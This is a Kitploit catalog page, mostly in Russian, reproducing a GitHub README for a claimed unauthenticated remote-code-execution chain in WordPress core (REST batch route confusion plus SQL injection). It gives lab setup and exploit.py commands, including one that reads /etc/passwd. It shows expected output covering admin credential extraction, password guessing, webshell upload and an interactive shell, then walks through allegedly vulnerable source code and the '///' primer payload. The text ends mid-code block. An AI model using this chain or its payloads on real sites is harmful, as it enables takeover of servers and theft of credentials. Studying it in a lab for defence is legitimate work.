Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-60137_CVE-2026-63030 — Эксплойт WordPress для неаутентифицированного RCE, сочетающий путаницу маршрутов и SQL-инъекцию. Предоставлены автоматизированный скрипт, настройка лаборатории и подробный анализ уязвимости. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

Эксплойт WordPress для неаутентифицированного RCE, сочетающий путаницу маршрутов и SQL-инъекцию. Предоставлены автоматизированный скрипт, настройка лаборатории и подробный анализ уязвимости.

Репозиторий
212 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-60137 + CVE-2026-63030 — WordPress: RCE без аутентификации

Уязвимость: Путаница маршрутов пакетных запросов REST + SQL-инъекция в WP_Query → полное RCE

CVSS v3.1: 10.0 / 10.0 — КРИТИЧЕСКИЙ | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Затронутые версии: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Исправлено в: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

---

## Быстрый старт

### 1. Настройка уязвимой лаборатории

**Требования:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Запустите эксплойт```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

### 3. Ожидаемый вывод```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

Файлы в этом репозитории

ФайлОписание
README.mdПолный анализ уязвимости и описание эксплуатации
exploit.pyАвтоматизированный эксплойт-скрипт (от нулевого доступа до RCE одной командой)
docker-compose.ymlУязвимая лабораторная среда WordPress
chain-rce.mdДокументация автоматизированной цепочки RCE
images/Скриншоты ручной эксплуатации

Детальный анализ уязвимости

CVE-2026-60137 (в связке с CVE-2026-63030)

Уязвимость: Неаутентифицированное удалённое выполнение кода — REST Batch Route Confusion + SQL-инъекция WP_Query

CVSS v3.1: 10.0 / 10.0 — КРИТИЧЕСКИЙ

Вектор: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Обзор

CVE-2026-60137 — это уязвимость неаутентифицированного RCE в ядре WordPress. Она объединяет две независимые ошибки в полную цепочку эксплуатации — от нулевого доступа до полной компрометации сервера:

CVEОшибкаРоль в цепочке
CVE-2026-63030REST Batch Route ConfusionОбход аутентификации
CVE-2026-60137SQL-инъекция author__not_inПроизвольное чтение/запись базы данных

Затронутые версии:

  • Полный RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • Только SQLi (требуется вспомогательный плагин): 6.8.0 – 6.8.5
  • Исправлено: 6.9.5, 7.0.2, 7.1-beta2+

Условия эксплуатации:

  • REST API является публичным (по умолчанию в WordPress)
  • Нет постоянного объектного кэша (по умолчанию он отсутствует)
  • Как минимум 1 опубликованная запись (по умолчанию есть «Hello World»)
  • Не требуется ни учётная запись, ни сессия

→ Подавляющее большинство установок WordPress уязвимы по умолчанию.

2. Терминология

REST Batch эндпоинт (/wp-json/batch/v1)

Позволяет отправлять несколько REST API-запросов в рамках одного HTTP-запроса:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

Каждый подзапрос сопоставляется со своим обработчиком, и каждый обработчик имеет собственный **колбэк разрешений**.

### WP_Query — `author__not_in`

Основной класс запросов к базе данных. Параметр `author__not_in` принимает массив целых чисел, формируя SQL-выражение:```sql
AND post_author NOT IN (5, 12, 23)

Каждый элемент проходит через absint() → сохраняется только целая часть.

wp_parse_url()

Обёртка для parse_url(). При получении недействительного URL → возвращает WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

## 3. Корневая причина — Ошибка A: Путаница пакетных маршрутов (CVE-2026-63030)

**Файл:** `wp-includes/rest-api/class-wp-rest-server.php`

### Уязвимый исходный код:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Механизм:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

### Почему `"///"` вызывает баг?

Когда PHP `parse_url()` встречает `"///"`, она пытается разобрать её в соответствии с **RFC 3986** — структурой URL:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

При получении "///" он интерпретирует это как:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

Возвращаемый результат PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress оборачивает это в wp_parse_url() → определяет нет допустимой схемы, нет допустимого хоста, нет значимого пути → возвращает WP_Error.

wp_parse_url("///") возвращает WP_Error (некорректный URL). Эта ошибка приводит к тому, что запрос пропускается в цикле построения $matches, но НЕ пропускается в цикле обработки → массив становится рассинхронизированным.

4. Корневая причина — Ошибка B: SQL-инъекция (CVE-2026-60137)

Файл: wp-includes/class-wp-query.php

Уязвимый исходный код:```php

class WP_Query { public function get_posts() { global $wpdb;

Скачать инструмент